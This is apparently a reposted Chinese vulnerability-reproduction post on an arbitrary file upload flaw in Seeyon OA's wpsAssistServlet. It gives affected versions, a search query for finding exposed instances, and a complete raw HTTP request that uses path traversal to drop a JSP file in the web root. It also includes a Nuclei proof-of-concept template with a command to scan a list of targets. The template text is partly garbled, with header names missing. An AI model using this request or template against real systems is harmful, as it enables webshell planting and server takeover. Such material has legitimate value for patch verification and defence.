免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
01
—
漏洞名称
致远OA wpsAssistServlet任意文件上传漏洞
02
—
漏洞影响
致远互联-OA A6+企业版 A8+企业版
03
—
漏洞描述
2010年用友致远更名为致远协创；2017年更名为致远互联。用友致远协同管理软件精准定位于企事业组织行为管理的需求，融入先进的协同管理理念，运用领先的网络技术，是基于互联网的组织行为管理平台。用友致远协同管理软件为企事业组织提供了一个协同办公门户和管理平台，涵盖了组织运营涉及的协作管理、审批管理、资源管理、知识管理、文化管理、公文管理等内容，支持企事业组织的信息化扩展应用，能有效帮助组织解决战略落地、文化建设、管理规范、资源整合、运营管控等难题，是组织管理的最佳实践。用友致远有A6和A8两大协同软件产品线：A6协同管理软件以其成熟稳定、“易用、好用、适用”的产品特性被业界誉为“协同经典”。2007年底发布的A8协同管理软件，以强力支持集团化、多语言和跨平台应用为特点，被业界誉为“中国协同应用软件的新标准”。致远互联-OA wpsAssistServlet接口存在任意文件上传漏洞，黑客上传恶意文件后可以获取webshell。
04
—
app="致远互联-OA" && title="V8.0SP2"
05
—
漏洞复现
第一步，向目标发送如下数据包，其中path中的pajgatzw.jsp为回显文件
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/pajgatzw.jsp&fileId=2 HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: multipart/form-data; boundary=oklp586ac9dujytddee11e86fa698nmv--oklp586ac9dujytddee11e86fa698nmvContent-Disposition: form-data; name="upload"; filename="majgatzw.xls"Content-Type: application/vnd.ms-excel<% out.println("lnrrovkexhsxbzjwptmthmyjgnvgjhjk");%>--oklp586ac9dujytddee11e86fa698nmv--
第二步，使用浏览器访问回显文件
证明存在漏洞
06
—
nuclei poc
poc文件内容如下
id: zhiyuan-wpsAssistServlet-fileuploadinfo:name: 致远OA wpsAssistServlet任意文件上传漏洞author: fgzdescription: 用友致远有A6和A8两大协同软件产品线：A6协同管理软件以其成熟稳定、“易用、好用、适用”的产品特性被业界誉为“协同经典”。2007年底发布的A8协同管理软件，以强力支持集团化、多语言和跨平台应用为特点，被业界誉为“中国协同应用软件的新标准”。致远互联-OA wpsAssistServlet接口存在任意文件上传漏洞，黑客上传恶意文件后可以获取webshell。severity: criticaltags: fileupload,2023metadata:: app="致远互联-OA" && title="V8.0SP2"veified: true: 3http:raw:|POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{randstr_1}}.jsp&fileId=2 HTTP/1.1Host: {{Hostname}}: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36: gzip, deflateAccept: */*Connection: close: multipart/form-data; boundary={{randstr_2}}--{{randstr_2}}: form-data; name="upload"; filename="123.xls": application/vnd.ms-excelout.println("{{randstr}}");%>--{{randstr_2}}--|GET /{{randstr_1}}.jsp HTTP/1.1Host: {{Hostname}}: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Accept: */*: gzip, deflate, br: zh-CN,zh;q=0.9Connection: close: application/x-www-form-urlencoded: 1: andmatchers:type: dsldsl:"status_code_2 == 200 && contains(body_2, '{{randstr}}')"
运行POC
nuclei.exe -t zhiyuan-wpsAssistServlet-fileupload.yaml -l 1.txt
07
—
修复建议
关注官方安全中心补丁。
原文始发于微信公众号（AI与网安）：【在野漏洞复现】致远OA wpsAssistServlet任意文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论